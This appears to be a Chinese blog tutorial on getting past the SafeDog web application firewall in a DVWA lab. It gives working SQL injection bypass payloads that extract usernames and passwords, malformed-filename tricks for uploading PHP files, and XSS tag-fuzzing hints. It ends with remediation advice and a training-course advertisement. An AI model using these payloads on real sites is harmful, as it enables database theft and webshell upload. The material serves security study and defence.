通化市网站建设_网站建设公司_Angular_seo优化
2025/12/22 16:55:22 网站建设 项目流程
前言

本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法,希望能起到抛砖引玉的效果。如果师傅们有更好的方法,烦请不吝赐教。

PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,违者后果自负,作者与平台不承担任何责任

测试环境

PHPStudy(PHP5.4.45+Apache+MySQL5.5.53)+最新版安全狗(4.0.28330)

靶场使用DVWA:http://www.dvwa.co.uk/

SQL注入
判断是否存在注入
方法一

and 1=1被拦截

单独的and是不拦截的。and后面加数字或者字符的表达式会被匹配拦截。

1=1,1=2的本质是构造一个真、假值,我们可以直接用True,False代替

但是依然会被拦截。不过and也可以用 && 代替。

我们构造1’ && True --+就可绕过

1’ && False --+

方法二

将and 后面的数字或者字符表达式加几个内联注释也可以绕过。

内联注释:/* */ 在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行。这些语句在不兼容的数据库中使用时便不会执行

如:1’ and /*!1*/=/*!1*/ --+

1’ and /*!1*/=/*!2*/ --+

方法三 分块传输
分块传输的原理请自行检索,这里不再赘述。

分块传输插件:https://github.com/c0ny1/chunked-coding-converter/releases/tag/0.2.1

正常写测试payload : 1’ and 1=1 --+

将请求方式改为POST,然后进行分块传输编码

可以看到,没有被拦截。

1’ and 1=2 --+

猜解字段数
方法一

order by被拦截

单独的order和单独的by都不会被拦截,我们需要在order by之间加各种无效字符。

可以将 1’ order /* x x x xxx xxx*/ by 1 --+ 放burp里跑各种垃圾参数字典来爆破。

经过测试,**1’ order/*%%!asd%%%%*/by 3 --+**可以成功过狗

通过内联注释/*!*/和注释/**/以及一些无效字符也可以绕过(需要不断Fuzz尝试)

1’ /*!order/*!/*/**/by*/ 3 --+

方法二 分块传输

1’ order by 3 --+

获取当前数据库
方法一

1’ union select 1,database() --+ 被拦截

分开测试 union select 会被拦截

database() 也会被拦截

先绕过union select:

和之前order by的绕过方法一样

1’ union/*%%!asd%%%%*/select 1,2 --+

再绕过database():

经过测试,我们发现单独的database不会被拦截,加了括号就会了

我们将之前的垃圾数据/*%%!asd%%%%*/放到括号了,即可成功绕过

拼接一下,最终的payload为:

1’ union/*%%!asd%%%%*/select 1,database(/*%%!asd%%%%*/) --+

方法二 分块传输

分块传输依然可以

1’ union select 1,database() --+

获取数据库中的表
方法一

正常注入语句:

1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

根据前面的测试,这个绕过就很简单了,只需要将一个空格地方替换成**/*%%!asd%%%%*/**即可。

Payload:

1’ union/*%%!asd%%%%*/select 1,group_concat(table_name) /*%%!asd%%%%*/from /*%%!asd%%%%*/information_schema.tables where table_schema=database(/*%%!asd%%%%*/) --+

方法二 分块传输

获取表中的字段名
方法一

正常注入语句:

1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ --+

绕过方法和获取表的操作无异:

1’ union/*%%!asd%%%%*/select 1,group_concat(column_name) /*%%!asd%%%%*/from/*%%!asd%%%%*/information_schema.columns where table_name=’users’ --+

方法二 分块传输

获取数据
方法一

正常注入语句:

1’ union select group_concat(user),group_concat(password) from users --+

绕过方法还是一样:

1’ union/*%%!asd%%%%*/select group_concat(user),group_concat(password) /*%%!asd%%%%*/from/*%%!asd%%%%*/users --+

方法二 分块传输

文件上传

安全狗对文件上传的拦截是通过检测文件扩展名来实现的。只要解析结果在禁止上传的文件类型列表中,就会被拦截。

我们要做的就是构造各种畸形数据包,以混淆WAF的检测规则。

获取文件名的地方在Content-Disposition和Content-Type,所以绕过的地方也主要在这两个地方

直接上传PHP文件会被拦截

绕过方法1

将filename=”hhh.php” 改为filename=hhh.php;即可绕过

绕过方法2

各种换行,主要是要把点号和字符串”php”分开

绕过方法3

将filename=”hhh.php” 改为filename==”hhh.php”(三个等号也可以绕过)

绕过方法4

文件名之间放置分号filename=”hh;h.php”

绕过方法5

多个filename=”hhh.txt”,最后一个filename=”hhh.php”

XSS

查看安全狗的漏洞防护规则可以发现,安全狗对XSS的防护是基于黑名单的,我们只要fuzz一下哪些标签没有被过滤就好了。

有很多标签可以绕过,这里举例两种:

(1) 标签定义声音,比如音乐或其他音频流。

(2) 标签,data属性

alert(‘xss’)的base64编码:PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=

payload:

文件包含

通过绝对路径、相对路径,稍微加些混淆就能绕过…

修复建议

我们研究WAF绕过的目的主要是为了警醒网站开发者并不是部署了WAF就可以高枕无忧了,要明白漏洞产生的根本原因,最好能在代码层面上就将其修复。下面给出一些修复建议:

SQL注入

使用预编译sql语句查询和绑定变量:使用PDO需要注意不要将变量直接拼接到PDO语句中。所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。

对用户输入的数据格式进行严格要求,比如编号只能输入数字就只能输入数字,只能输入字母就只能输入字符,并且对数据的长度进行限制。

文件上传

文件上传的目录设置为不可执行:只要Web容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响。在实际的上传应用中,可以将文件上传后放到独立的存储上,做静态文件处理,一方面方便使用缓存加速,降低性能损耗;另一方面也杜绝了脚本执行的可能。

使用随机数改写文件名和文件路径

上传文件时,服务端采用白名单形式限制文件上传的后缀名称,只允许上传“jpg、png、gif、bmp 、doc、docx、rar、zip”等非Web脚本执行文件。

XSS

对用户输入的参数中的特殊字符进行HTML转义或者编码,防止出现有意义的HTML、CSS、JavaScript代码,如:“’、”、<、>、(、=、.”等特殊字符。可以通过Filter过滤器实现全局编码或者转义,也可以在单点对字符串类型数据进行编码或者转义。

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。


1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询